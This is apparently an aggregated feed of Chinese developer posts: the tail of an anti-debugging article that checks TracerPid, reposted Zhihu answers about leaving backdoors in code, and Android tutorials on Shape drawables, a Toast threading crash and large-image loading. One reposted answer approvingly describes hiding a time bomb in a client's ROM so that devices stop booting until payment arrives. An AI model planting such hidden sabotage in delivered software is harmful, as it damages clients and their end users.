PPid: 1-------------------------------------线程组是由init进程创建的。\
TracerPid: 0\ **这里是关键**
Uid: 0 0 0 0\
Gid: 0 0 0 0\
FDSize: 256---------------------------------表示到目前为止进程使用过的描述符总数。\
Groups: 0 10 \
VmPeak: 1393220 kB--------------------------虚拟内存峰值大小。\
VmSize: 1390372 kB--------------------------当前使用中的虚拟内存,小于VmPeak。\
VmLck: 0 kB\
VmPin: 0 kB\
VmHWM: 47940 kB-----------------------------RSS峰值。\
VmRSS: 47940 kB-----------------------------RSS实际使用量=RSSAnon+RssFile+RssShmem。\
RssAnon: 38700 kB\
RssFile: 9240 kB\
RssShmem: 0 kB\
VmData: 366648 kB--------------------------进程数据段共366648KB。\
VmStk: 132 kB------------------------------进程栈一共132KB。\
VmExe: 84 kB-------------------------------进程text段大小84KB。\
VmLib: 11488 kB----------------------------进程lib占用11488KB内存。\
VmPTE: 1220 kB\
VmPMD: 0 kB\
VmSwap: 0 kB\
Threads: 40-------------------------------进程中一个40个线程。\
SigQ: 0/3142------------------------------进程信号队列最大3142,当前没有pending

如果TracerPid不为0,那么就存在被监控的进程,此时如果该进程不是我们所信任的进程,就调用我们指定好的程序重启即可!读取这个proc/pid/status文件涉及到的相关处理可以自行google,这里就不再重复列举啦!


总结


看到这里,我们也能够明白debug在linux内核中的处理流程啦!最后,点个赞再走呗!



作者:Pika
链接:https://juejin.cn/post/7132438417970823176
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

我在代码里面故意留个漏洞,违法吗?

逛知乎的时候,看到了这么一个问题:我看到了三个非常有意思的回答,分享给大家一看。首先是这个为了防止项目交付后收不到尾款埋下后门的回答:早年给某台企做外包项目,定制一个Android系统的ROM。开发费用16万,一年期维护费用2万。开发费用分三期打款,订金4万,...
继续阅读 »

逛知乎的时候,看到了这么一个问题:

我看到了三个非常有意思的回答,分享给大家一看。

首先是这个为了防止项目交付后收不到尾款埋下后门的回答:

早年给某台企做外包项目,定制一个Android系统的ROM。开发费用16万,一年期维护费用2万。

开发费用分三期打款,订金4万,生产环境ROM交付8万,验收并交付源码后打尾款4万。

生产环境ROM交付前留了一手,加了时间戳校验,混杂在驱动程序里,6个月后不能开机。

果不其然,过了4个月对方也没把尾款打过来,显然是用着没什么毛病,源码不打算要了,维护费用也一起省了。每次催款都用各种理由搪塞。

又过了2个月,埋的雷爆了,他们的下游客户开始各种投诉。这才把剩余款项收回来。

懒得说这家公司的名字,挺有名的公司,估计很多人用过他们的产品。

如果不留这一手,估计就要吃哑巴亏了,毕竟台湾省的官司打起来费劲儿。在这种情况下,这叫自我保护,不违法。

原回答链接:https://www.zhihu.com/question/531724027/answer/2487270093

这个回答让我想起了多年前我接私活的时候,给别人开发的软件交付后就玩消失的经历,那时候年轻,不知道做个时间限制啥的···不说了,说多了都是泪。

话说回来,真像这位答主这样弄个后门,违不违法,答主说了不算,还得具体问题具体分析,法院说了才算,不过这种做法还是比较危险,慎重。

那到底法律如何界定这种问题呢,来看一下网络安全界的大佬TK教主的回答:

我国没有仅针对后门本身进行处罚的法律。主要原因是“后门”难以客观界定。

比如,自动更新机制是不是后门?热补丁机制是不是后门?远程维护机制是不是后门?家里宽带有问题,你打运营商客服电话,运营商那边就能远程调整你的光猫——这是不是后门?

所以现在法律在处理后门相关问题时,是根据利用行为定罪的。你留了后门,一辈子不用,没事。用来干坏事了,那就根据你具体干了什么坏事定罪量刑。

原回答链接:https://www.zhihu.com/question/531724027/answer/2539891264

代码里面藏后门属于初级玩家,来看一下高级的后门长啥样:

Ken Thompson在贝尔实验室的时候,他总是能在一台装了Unix的服务器上黑进他人的账户,不管他人怎么修改账户密码都没有用,当时贝尔实验室里面聚集的都是智商爆表、专业知识过硬的科学家,Ken的行为无疑让他们非常不爽。

有个人分析了Unix的代码之后,找到了后门,重新编译部署了Uinx,但是让他们崩溃的事情再次发生,Ken还是能黑进他们的账户,这个事情让他们百思不得其解。

一直到1983年,Ken获得图灵奖,在大会上解开了这个秘密,原来这个密码后门是通过他写的一个C编译器植入的,而当时那台Unix的机器必须通过这个C编译器编译之后才能运行,所以不管unix怎么修改都没有用,毕竟是要编译的。

前几年发生的Xcode Ghost事件,就是用类似的方式操作的,所以真正的大神留的黑洞,一般人根本防不住,除非遇到同样的大神,而且人家告诉你在哪里了,才有可能破解。这就是为啥有的单位,人家不连外网,因为根本不知道装的系统有没有别人留下的漏洞。

低级的代码层次

中级的在工具链上

高级的在编译器层次

终极的在机器内部,这个根本防不胜防。

所以对程序员好一点。

原回答链接:https://www.zhihu.com/question/531724027/answer/2487130220

这让我想起了不久前发生的一件事:有黑客组织在IDA里面投毒。IDA是安全人员逆向分析的重要软件,给这里面投毒,属于定向攻击搞安全的人了,真是防不胜防啊。

收起阅读 »

Android: Shape 的使用

Android Shape 的使用 在Android开发中,我们可以使用shape定义各种各样的形状,也可以定义一些图片资源。相对于传统 图片来说,使用shape可以减少资源占用,减少安装包大小,还能够很好地适配不同尺寸的手机。 1. shape属性 sha...
继续阅读 »

Android Shape 的使用


在Android开发中,我们可以使用shape定义各种各样的形状,也可以定义一些图片资源。相对于传统
图片来说,使用shape可以减少资源占用,减少安装包大小,还能够很好地适配不同尺寸的手机。


1. shape属性



  • shape 属性基本语法示例:


<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<!-- 圆角属性-->
<corners
android:bottomLeftRadius="10dp"
android:bottomRightRadius="10dp"
android:radius="5dp"
android:topLeftRadius="15dp"
android:topRightRadius="15dp" />
<!-- 渐变属性-->
<gradient
android:angle="-45"
android:centerColor="#ff0099"
android:centerX="20"
android:centerY="30"
android:endColor="#80FF00"
android:gradientRadius="45dp"
android:startColor="#FF0089BD"
android:type="linear"
android:useLevel="false" />
<!-- 边距属性-->
<padding
android:bottom="12dp"
android:left="10dp"
android:right="15dp"
android:top="10dp" />
<!--大小属性-->
<size
android:width="200dp"
android:height="200dp" />
<!-- 填充属性-->
<!-- <solid android:color="#ffff9d"/>-->
<!-- 描边属性-->
<stroke
android:width="2dp"
android:color="#dcdcdc" />
</shape>

2. 基本属性


Shape可以定义控件的一些展示效果,例如圆角,渐变,填充,描边,大小,边距; shape 子标签就可以实现这些效果, shape 子标签有下面几个属性:corners,gradient,padding,size,solid,stroke:



  • corners(圆角)是用来字义圆角


<corners //定义圆角
android:radius="10dp" //全部的圆角半径;
android:topLeftRadius="5dp" //左上角的圆角半径;
android:topRightRadius="5dp" //右上角的圆角半径;
android:bottomLeftRadius="5dp" //左下角的圆角半径;
android:bottomRightRadius="5dp" /> //右下角的圆角半径。


  • solid(填充色)是用以指定内部填充色;


  <solid android:color="#ffff00"/> //内部填充色


  • gradient(渐变)用以定义渐变色,可以定义两色渐变和三色渐变,及渐变样式;


<gradient
android:type=["linear" | "radial" | "sweep"] //共有3中渐变类型,线性渐变
(默认)/放射渐变/扫描式渐变;
android:angle="90" //渐变角度,必须为45的倍数,0为从左到右,90为从上到下;
android:centerX="0.5" //渐变中心X的相当位置,范围为0~1;
android:centerY="0.5" //渐变中心Y的相当位置,范围为0~1;
android:startColor="#24e9f2" //渐变开始点的颜色;
android:centerColor="#2564ef" //渐变中间点的颜色,在开始与结束点之间;
android:endColor="#25f1ef" //渐变结束点的颜色;
android:gradientRadius="5dp" //渐变的半径,只有当渐变类型为radial时才能使用;
android:useLevel="false" /> //使用LevelListDrawable时就要设置为true。设为
false时才有渐变效果。


  • stroke(描边)是描边属性,可以定义描边的宽度,颜色,虚实线等;


<stroke
android:width="1dp" //描边的宽度
android:color="#ff0000" //描边的颜色
// 以下两个属性设置虚线
android:dashWidth="1dp" //虚线的宽度,值为0时是实线
android:dashGap="1dp" />//虚线的间隔


  • padding(内边距)是用来定义内部边距


<padding
android:left="10dp" //左内边距;
android:top="10dp" //上内边距;
android:right="10dp" //右内边距;
android:bottom="10dp" /> //下内边距。


  • size(大小)标签是用来定义图形的大小的


<size
android:width="50dp" //宽度
android:height="50dp" />// 高度

3. 特殊属性


Shape可以定义当前Shape的形状的,比如矩形,椭圆形,线形和环形;这些都是通过 shape 标签属性来定义的, shape 标签有下面几个属性:rectangle,oval,line,ring:


<shape xmlns:android="http://schemas.android.com/apk/res/android"
//shape的形状,默认为矩形,可以设置为矩形(rectangle)、椭圆形(oval)、线性形状(line)环形(ring)
android:shape=["rectangle" | "oval" | "line" | "ring"]
//下面的属性只有在android:shape="ring"时可用:
android:innerRadius="10dp" // 内环的半径;
android:innerRadiusRatio="2" // 浮点型,以环的宽度比率来表示内环的半径;
android:thickness="3dp" // 环的厚度;
android:thicknessRatio="2" // 浮点型,以环的宽度比率来表示环的厚度;
android:useLevel="false"> // boolean值,如果当做是LevelListDrawable使用时值为
true,否则为false。
</shape>


  • rectangle(矩形)


<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<solid android:color="@color/colorPrimary"/>
</shape>


  • oval(椭圆)


<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="oval">
<solid android:color="@color/colorPrimary"/>
<size android:height="100dp"
android:width="100dp"/>
</shape>


  • line(线)


<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="line">
<stroke
android:width="1dp"
android:color="@color/colorAccent"
android:dashGap="3dp"//虚线间距
android:dashWidth="4dp"/>//虚线宽度
<size android:height="3dp"/>
</shape>


  • ring(圆环)


<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="ring"
android:useLevel="false"
android:innerRadius="20dp" // 内环的半径
android:thickness="10dp"> // 圆环宽度
<!--useLevel需要设置为false-->
<solid android:color="@color/colorAccent"/>
</shape>

4.shape用法



  • 在res/drawable下新建 shape_text.xml 文件;


//参考 1.shape属性
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<!-- 圆角属性-->
<corners ... />
<!-- 渐变属性-->
<gradient ... />
<!-- 边距属性-->
<padding ... />
<!--大小属性-->
<size ... />
<!-- 描边属性-->
<stroke ... />
</shape>


  • 在布局中引用 shape_text.xml 文件;


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:background="@drawable/shape_text"
android:text="Shape测试"
android:textColor="@android:color/black"
android:textSize="15sp" />
</LinearLayout>

作者:提笔写bug
链接:https://juejin.cn/post/7130442723433119774
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Android技术分享|【Android踩坑】怀疑人生,主线程修改UI也会崩溃?

前言 某天早晨,吃完早餐,坐回工位,打开电脑,开启chrome,进入友盟页面,发现了一个崩溃信息: java.lang.RuntimeException: Unable to resume activity {com.youdao.youdaomath/com...
继续阅读 »

前言


某天早晨,吃完早餐,坐回工位,打开电脑,开启chrome,进入友盟页面,发现了一个崩溃信息:


java.lang.RuntimeException: Unable to resume activity {com.youdao.youdaomath/com.youdao.youdaomath.view.PayCourseVideoActivity}: android.view.ViewRootImpl$CalledFromWrongThreadException: Only the original thread that created a view hierarchy can touch its views.
at android.app.ActivityThread.performResumeActivity(ActivityThread.java:3824)
at android.app.ActivityThread.handleResumeActivity(ActivityThread.java:3856)
at android.app.servertransaction.ResumeActivityItem.execute(ResumeActivityItem.java:51)
at android.app.servertransaction.TransactionExecutor.executeLifecycleState(TransactionExecutor.java:145)
at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:70)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1831)
at android.os.Handler.dispatchMessage(Handler.java:106)
at android.os.Looper.loop(Looper.java:201)
at android.app.ActivityThread.main(ActivityThread.java:6806)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:547)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:873)
Caused by: android.view.ViewRootImpl$CalledFromWrongThreadException: Only the original thread that created a view hierarchy can touch its views.
at android.view.ViewRootImpl.checkThread(ViewRootImpl.java:8000)
at android.view.ViewRootImpl.requestLayout(ViewRootImpl.java:1292)
at android.view.View.requestLayout(View.java:23147)
at android.view.View.requestLayout(View.java:23147)
at android.widget.TextView.checkForRelayout(TextView.java:8914)
at android.widget.TextView.setText(TextView.java:5736)
at android.widget.TextView.setText(TextView.java:5577)
at android.widget.TextView.setText(TextView.java:5534)
at android.widget.Toast.setText(Toast.java:332)
at com.youdao.youdaomath.view.common.CommonToast.showShortToast(CommonToast.java:40)
at com.youdao.youdaomath.view.PayCourseVideoActivity.checkNetWork(PayCourseVideoActivity.java:137)
at com.youdao.youdaomath.view.PayCourseVideoActivity.onResume(PayCourseVideoActivity.java:218)
at android.app.Instrumentation.callActivityOnResume(Instrumentation.java:1413)
at android.app.Activity.performResume(Activity.java:7400)
at android.app.ActivityThread.performResumeActivity(ActivityThread.java:3816)

一眼看上去似乎是比较常见的子线程修改UI的问题。并且是在Toast上面报出的,常识告诉我Toast在子线程弹出是会报错,但是应该是提示Looper没有生成的错,而不应该是上面所报出的错误。那么会不会是生成Looper以后报的错的?


一、Demo 验证


所以我先做了一个demo,如下:


    @Override
protected void onResume() {
super.onResume();
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
Toast.makeText(MainActivity.this,"子线程弹出Toast",Toast.LENGTH_SHORT).show();
}
});
thread.start();
}

运行一下,果不其然崩溃掉,错误信息就是提示我必须准备好looper才能弹出toast:


    java.lang.RuntimeException: Can't toast on a thread that has not called Looper.prepare()
at android.widget.Toast$TN.<init>(Toast.java:393)
at android.widget.Toast.<init>(Toast.java:117)
at android.widget.Toast.makeText(Toast.java:280)
at android.widget.Toast.makeText(Toast.java:270)
at com.netease.photodemo.MainActivity$1.run(MainActivity.java:22)
at java.lang.Thread.run(Thread.java:764)

接下来就在toast里面准备好looper,再试试吧:


        Thread thread = new Thread(new Runnable() {
@Override
public void run() {
Looper.prepare();
Toast.makeText(MainActivity.this,"子线程弹出Toast",Toast.LENGTH_SHORT).show();
Looper.loop();
}
});
thread.start();

运行发现是能够正确的弹出Toast的:


在这里插入图片描述


那么问题就来了,为什么会在友盟中出现这个崩溃呢?


二、再探堆栈


然后仔细看了下报错信息有两行重要信息被我之前略过了:


at com.youdao.youdaomath.view
.PayCourseVideoActivity.onResume(PayCourseVideoActivity.java:218)
android.widget.Toast.setText(Toast.java:332)

发现是在主线程报了Toast设置Text的时候的错误。这就让我很纳闷了,子线程修改UI会报错,主线程也会报错?
感觉这么多年Android白做了。这不是最基本的知识么?
于是我只能硬着头皮往源码深处看了:
先来看看Toast是怎么setText的:


    public static Toast makeText(@NonNull Context context, @Nullable Looper looper,
@NonNull CharSequence text, @Duration int duration) {
Toast result = new Toast(context, looper);

LayoutInflater inflate = (LayoutInflater)
context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
View v = inflate.inflate(com.android.internal.R.layout.transient_notification, null);
TextView tv = (TextView)v.findViewById(com.android.internal.R.id.message);
tv.setText(text);

result.mNextView = v;
result.mDuration = duration;

return result;
}

很常规的一个做法,先是inflate出来一个View对象,再从View对象找出对应的TextView,然后TextView将文本设置进去。


至于setText在之前有详细说过,是在ViewRootImpl里面进行checkThread是否在主线程上面。所以感觉似乎一点问题都没有。那么既然出现了这个错误,总得有原因吧,或许是自己源码看漏了?


那就重新再看一遍ViewRootImpl#checkThread方法吧:


    void checkThread() {
if (mThread != Thread.currentThread()) {
throw new CalledFromWrongThreadException(
"Only the original thread that created a view hierarchy can touch its views.");
}
}

这一看,还真的似乎给我了一点头绪,系统在checkThread的时候并不是将Thread.currentThread和MainThread作比较,而是跟mThread作比较,那么有没有一种可能mThread是子线程?


一想到这里,我就兴奋了,全类查看mThread到底是怎么初始化的:


    public ViewRootImpl(Context context, Display display) {
...代码省略...
mThread = Thread.currentThread();
...代码省略...
}

可以发现全类只有这一处对mThread进行了赋值。那么会不会是子线程初始化了ViewRootimpl呢?似乎我之前好像也没有研究过Toast为什么会弹出来,所以顺便就先去了解下Toast是怎么show出来的好了:


    /**
* Show the view for the specified duration.
*/
public void show() {
if (mNextView == null) {
throw new RuntimeException("setView must have been called");
}

INotificationManager service = getService();
String pkg = mContext.getOpPackageName();
TN tn = mTN;
tn.mNextView = mNextView;

try {
service.enqueueToast(pkg, tn, mDuration);
} catch (RemoteException e) {
// Empty
}
}

调用Toast的show方法时,会通过Binder获取Service即NotificationManagerService,然后执行enqueueToast方法(NotificationManagerService的源码就不做分析),然后会执行Toast里面如下方法:


        @Override
public void show(IBinder windowToken) {
if (localLOGV) Log.v(TAG, "SHOW: " + this);
mHandler.obtainMessage(SHOW, windowToken).sendToTarget();
}

发送一个Message,通知进行show的操作:


        @Override
public void show(IBinder windowToken) {
if (localLOGV) Log.v(TAG, "SHOW: " + this);
mHandler.obtainMessage(SHOW, windowToken).sendToTarget();
}

在Handler的handleMessage方法中找到了SHOW的case,接下来就要进行真正show的操作了:


        public void handleShow(IBinder windowToken) {
if (localLOGV) Log.v(TAG, "HANDLE SHOW: " + this + " mView=" + mView
+ " mNextView=" + mNextView);
// If a cancel/hide is pending - no need to show - at this point
// the window token is already invalid and no need to do any work.
if (mHandler.hasMessages(CANCEL) || mHandler.hasMessages(HIDE)) {
return;
}
if (mView != mNextView) {
// remove the old view if necessary
handleHide();
mView = mNextView;
Context context = mView.getContext().getApplicationContext();
String packageName = mView.getContext().getOpPackageName();
if (context == null) {
context = mView.getContext();
}
mWM = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);
// We can resolve the Gravity here by using the Locale for getting
// the layout direction
final Configuration config = mView.getContext().getResources().getConfiguration();
final int gravity = Gravity.getAbsoluteGravity(mGravity, config.getLayoutDirection());
mParams.gravity = gravity;
if ((gravity & Gravity.HORIZONTAL_GRAVITY_MASK) == Gravity.FILL_HORIZONTAL) {
mParams.horizontalWeight = 1.0f;
}
if ((gravity & Gravity.VERTICAL_GRAVITY_MASK) == Gravity.FILL_VERTICAL) {
mParams.verticalWeight = 1.0f;
}
mParams.x = mX;
mParams.y = mY;
mParams.verticalMargin = mVerticalMargin;
mParams.horizontalMargin = mHorizontalMargin;
mParams.packageName = packageName;
mParams.hideTimeoutMilliseconds = mDuration ==
Toast.LENGTH_LONG ? LONG_DURATION_TIMEOUT : SHORT_DURATION_TIMEOUT;
mParams.token = windowToken;
if (mView.getParent() != null) {
if (localLOGV) Log.v(TAG, "REMOVE! " + mView + " in " + this);
mWM.removeView(mView);
}
if (localLOGV) Log.v(TAG, "ADD! " + mView + " in " + this);
// Since the notification manager service cancels the token right
// after it notifies us to cancel the toast there is an inherent
// race and we may attempt to add a window after the token has been
// invalidated. Let us hedge against that.
try {
mWM.addView(mView, mParams);
trySendAccessibilityEvent();
} catch (WindowManager.BadTokenException e) {
/* ignore */
}
}
}

代码有点长,我们最需要关心的就是mWm.addView方法。


相信看过ActivityThread的同学应该知道mWm.addView方法是在ActivityThread的handleResumeActivity里面也有调用过,意思就是进行ViewRootImpl的初始化,然后通过ViewRootImp进行View的测量,布局,以及绘制。


看到这里,我想到了一个可能的原因:


那就是我的Toast是一个全局静态的Toast对象,然后第一次是在子线程的时候show出来,这个时候ViewRootImpl在初始化的时候就会将子线程的对象作为mThread,然后下一次在主线程弹出来就出错了吧?想想应该是这样的。


三、再探Demo


所以继续做我的demo来印证我的想法:


    @Override
protected void onResume() {
super.onResume();
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
Looper.prepare();
sToast = Toast.makeText(MainActivity.this,"子线程弹出Toast",Toast.LENGTH_SHORT);
sToast.show();
Looper.loop();
}
});
thread.start();
}

public void click(View view) {
sToast.setText("主线程弹出Toast");
sToast.show();
}

做了个静态的toast,然后点击按钮的时候弹出toast,运行一下:


在这里插入图片描述


发现竟然没问题,这时候又开始怀疑人生了,这到底怎么回事。ViewRootImpl此时的mThread应该是子线程啊,没道理还能正常运行,怎么办呢?debug一步一步调试吧,一步一步调试下来,发现在View的requestLayout里面parent竟然为空了:


在这里插入图片描述


然后在仔细看了下当前View是一个LinearLayout,然后这个View的子View是TextView,文本内容是"主线程弹出toast",所以应该就是Toast在new的时候inflate的布局


View v = inflate.inflate(com.android.internal.R.layout.transient_notification, null);

找到了对应的toast布局文件,打开一看,果然如此:


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:background="?android:attr/toastFrameBackground">

<TextView
android:id="@android:id/message"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_weight="1"
android:layout_marginHorizontal="24dp"
android:layout_marginVertical="15dp"
android:layout_gravity="center_horizontal"
android:textAppearance="@style/TextAppearance.Toast"
android:textColor="@color/primary_text_default_material_light"
/>

</LinearLayout>

也就是说此时的View已经是顶级View了,它的parent应该就是ViewRootImpl,那么为什么ViewRootImpl是null呢,明明之前已经show过了。看来只能往Toast的hide方法找原因了


四、深入源码


所以重新回到Toast的类中,查看下Toast的hide方法(此处直接看Handler的hide处理,之前的操作与show类似):


public void handleHide() {
if (localLOGV) Log.v(TAG, "HANDLE HIDE: " + this + " mView=" + mView);
if (mView != null) {
// note: checking parent() just to make sure the view has
// been added... i have seen cases where we get here when
// the view isn't yet added, so let's try not to crash.
if (mView.getParent() != null) {
if (localLOGV) Log.v(TAG, "REMOVE! " + mView + " in " + this);
mWM.removeViewImmediate(mView);
}

// Now that we've removed the view it's safe for the server to release
// the resources.
try {
getService().finishToken(mPackageName, this);
} catch (RemoteException e) {
}

mView = null;
}
}

此处调用了mWm的removeViewImmediate,即WindowManagerImpl里面的removeViewImmediate方法:


    @Override
public void removeViewImmediate(View view) {
mGlobal.removeView(view, true);
}

会调用WindowManagerGlobal的removeView方法:


public void removeView(View view, boolean immediate) {
if (view == null) {
throw new IllegalArgumentException("view must not be null");
}

synchronized (mLock) {
int index = findViewLocked(view, true);
View curView = mRoots.get(index).getView();
removeViewLocked(index, immediate);
if (curView == view) {
return;
}

throw new IllegalStateException("Calling with view " + view
+ " but the ViewAncestor is attached to " + curView);
}
}

然后调用removeViewLocked方法:


private void removeViewLocked(int index, boolean immediate) {
ViewRootImpl root = mRoots.get(index);
View view = root.getView();

if (view != null) {
InputMethodManager imm = InputMethodManager.getInstance();
if (imm != null) {
imm.windowDismissed(mViews.get(index).getWindowToken());
}
}
boolean deferred = root.die(immediate);
if (view != null) {
//此处调用View的assignParent方法将viewParent置空
view.assignParent(null);
if (deferred) {
mDyingViews.add(view);
}
}
}

所以也就是说在Toast时间到了以后,会调用hide方法,此时会将parent置成空,所以我刚才试的时候才没有问题。那么按道理说只要在Toast没有关闭的时候点击再次弹出toast应该就会报错。


所以还是原来的代码,再来一次,这次不等Toast关闭,再次点击:


在这里插入图片描述


果然如预期所料,此时在主线程弹出Toast就会崩溃。


五、发现原因


那么问题原因找到了:


是在项目子线程中有弹出过Toast,然后Toast并没有关闭,又在主线程弹出了同一个对象的toast,会造成崩溃。


此时内心有个困惑:


如果是子线程弹出Toast,那我就需要写Looper.prepare方法和Looper.loop方法,为什么我自己一点印象都没有。


于是我全局搜索了Looper.prepare,发现并没有找到对应的代码。所以我就全局搜索了Toast调用的地方,发现在JavaBridge的回调当中找到了:


    class JSInterface {
@JavascriptInterface
public void handleMessage(String msg) throws JSONException {
LogHelper.e(TAG, "msg::" + msg);
JSONObject jsonObject = new JSONObject(msg);
String callType = jsonObject.optString(JS_CALL_TYPE);
switch (callType) {
...代码省略..
case JSCallType.SHOW_TOAST:
showToast(jsonObject);
break;
default:
break;
}
}
}

/**
* 弹出吐司
* @param jsonObject
* @throws JSONException
*/
public void showToast(JSONObject jsonObject) throws JSONException {
JSONObject payDataObj = jsonObject.getJSONObject("data");
String message = payDataObj.optString("data");
CommonToast.showShortToast(message);
}

但是看到这段代码,又有疑问了,我并没有在Javabridge的回调中看到有任何准备Looper的地方,那么为什么Toast没有崩溃掉?


所以在此处加了一段代码:


    class JSInterface {
@JavascriptInterface
public void handleMessage(String msg) throws JSONException {
LogHelper.e(TAG, "msg::" + msg);
JSONObject jsonObject = new JSONObject(msg);
String callType = jsonObject.optString(JS_CALL_TYPE);
Thread currentThread = Thread.currentThread();
Looper looper = Looper.myLooper();
switch (callType) {
...代码省略..
case JSCallType.SHOW_TOAST:
showToast(jsonObject);
break;
default:
break;
}
}
}

并且加了一个断点,来查看下此时的情况:


在这里插入图片描述


确实当前线程是JavaBridge线程,另外JavaBridge线程中已经提前给开发者准备好了Looper。所以也难怪一方面奇怪自己怎么没有写Looper的印象,一方面又很好奇为什么这个线程在开发者没有准备Looper的情况下也能正常弹出Toast。


总结


至此,真相终于找出来了。


相比较发生这个bug 的原因,解决方案就显得非常简单了。


只需要在CommonToast的showShortToast方法内部判断是否为主线程调用,如果不是的话,new一个主线程的Handler,将Toast扔到主线程弹出来。


这样就会避免了子线程弹出。


PS:本人还得吐槽一下Android,Android官方一方面明明宣称不能在主线程以外的线程进行UI的更新,**另一方面在初始化ViewRootImpl的时候又不把主线程作为成员变量保存起来,而是直接获取当前所处的线程作为mThread保存起来,这样做就有可能会出现子线程更新UI的操作。**从而引起类似我今天的这个bug。


作者:anyRTC
链接:https://juejin.cn/post/7130824794060587016
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Android性能优化 -- 大图治理

在实际的Android项目开发中,图片是必不可少的元素,几乎所有的界面都是由图片构成的;像列表页、查看大图页等,都是需要展示图片,而且这两者是有共同点的,列表展示的Item数量多,如果全部加载进来势必会造成OOM,因此列表页通常采用分页加载,加上Recycle...
继续阅读 »

在实际的Android项目开发中,图片是必不可少的元素,几乎所有的界面都是由图片构成的;像列表页、查看大图页等,都是需要展示图片,而且这两者是有共同点的,列表展示的Item数量多,如果全部加载进来势必会造成OOM,因此列表页通常采用分页加载,加上RecyclerView的复用机制,一般很少会发生OOM。


但是对于大图查看,通常在外界展示的是一张缩略图,点开之后放大就是原图,如果图片很大,OOM发生也是正常的,因此在加载大图的时候,可以看下面这张图


image.png


一张图片如果很大,在手机屏幕中并不能完全展示,那么其实就没有必要讲图片完全加载进来,而是可以采用分块加载的方式,只展示显示的那一部分,当图片向上滑动的时候,之前展示的区域内存能够复用,不需要开辟新的内存空间来承接新的模块,从而达到了大图的治理的目的。


1 自定义大图View


像在微信中点击查看大图,查看大图的组件就是一个自定义View,能够支持滑动、拖拽、放大等功能,因此我们也可以自定义一个类似于微信的大图查看器,从中了解图片加载优化的魅力


1.1 准备工作


class BigView : View{

constructor(context: Context):super(context){
initBigView(context)
}
constructor(context: Context,attributeSet: AttributeSet):super(context,attributeSet){
initBigView(context)
}

private fun initBigView(context: Context) {

}

}

本节使用的语言为kotlin,需要java代码的伙伴们可以找我私聊哦。


网站总数据测评展示信息长图设计__2022-08-13+16_36_25.jpeg
这个是我从网站上找的一张长图,大概700K左右,需要的可以自行下载,其实想要了解其中的原理和实现,不一定要找一张特别大的图片,所有的问题都是举一反三的。


class BigView : View, GestureDetector.OnGestureListener, View.OnTouchListener {

//分块加载
private lateinit var mRect: Rect

//内存复用
private lateinit var mOptions: BitmapFactory.Options

//手势
private lateinit var mGestureDetector: GestureDetector

//滑动
private lateinit var mScroller: Scroller

constructor(context: Context) : super(context) {
initBigView(context)
}

constructor(context: Context, attributeSet: AttributeSet) : super(context, attributeSet) {
initBigView(context)
}

private fun initBigView(context: Context) {
mRect = Rect()
mOptions = BitmapFactory.Options()
mGestureDetector = GestureDetector(context, this)
mScroller = Scroller(context)
setOnTouchListener(this)
}

override fun onDown(e: MotionEvent?): Boolean {
return false
}

override fun onShowPress(e: MotionEvent?) {

}

override fun onSingleTapUp(e: MotionEvent?): Boolean {
return false
}

override fun onScroll(
e1: MotionEvent?,
e2: MotionEvent?,
distanceX: Float,
distanceY: Float
): Boolean {
return false
}

override fun onLongPress(e: MotionEvent?) {

}

override fun onFling(
e1: MotionEvent?,
e2: MotionEvent?,
velocityX: Float,
velocityY: Float
): Boolean {
return false
}

override fun onTouch(v: View?, event: MotionEvent?): Boolean {
return false
}

}

前面我们提到的分块加载、内存复用、手势等操作,直接在view初始化时完成,这样我们前期的准备工作就完成了。


1.2 图片宽高适配


当我们加载一张图片的时候,要让这张图片完全展示在手机屏幕上不被裁剪,就需要做宽高的适配;如果这张图片大小是80M,那么为了获取宽高而将图片加载到内存中肯定会OOM,那么在图片加载到内存之前就像获取图片的宽高该怎么办呢?BitmapFactory.Options就提供了这个手段


fun setImageUrl(inputStream: InputStream) {
//获取图片宽高
mOptions.inJustDecodeBounds = true

BitmapFactory.decodeStream(inputStream,null,mOptions)
imageWidth = mOptions.outWidth
imageHeight = mOptions.outHeight

mOptions.inJustDecodeBounds = false

//开启复用
mOptions.inMutable = true
mOptions.inPreferredConfig = Bitmap.Config.RGB_565

//创建区域解码器
try {
BitmapRegionDecoder.newInstance(inputStream,false)
}catch (e:Exception){

}
requestLayout()
}

当设置inJustDecodeBounds为true(记住要成对出现,使用完成之后需要设置为false),意味着我调用decodeStream方法的时候,不会将图片的内存加载而是仅仅为了获取宽高。


然后拿到了图片的宽高之后呢,调用requestLayout方法,会回调onMeasure方法,这个方法大家就非常熟悉了,能够拿到view的宽高,从而完成图片的适配


override fun onMeasure(widthMeasureSpec: Int, heightMeasureSpec: Int) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec)
//适配
viewWidth = measuredWidth
viewHeight = measuredHeight

originScale = viewWidth / imageWidth.toFloat()
mScale = originScale

//分块加载首次进入展示的rect
mRect.left = 0
mRect.top = 0
mRect.right = imageWidth
mRect.bottom = (viewHeight / mScale).toInt()

}

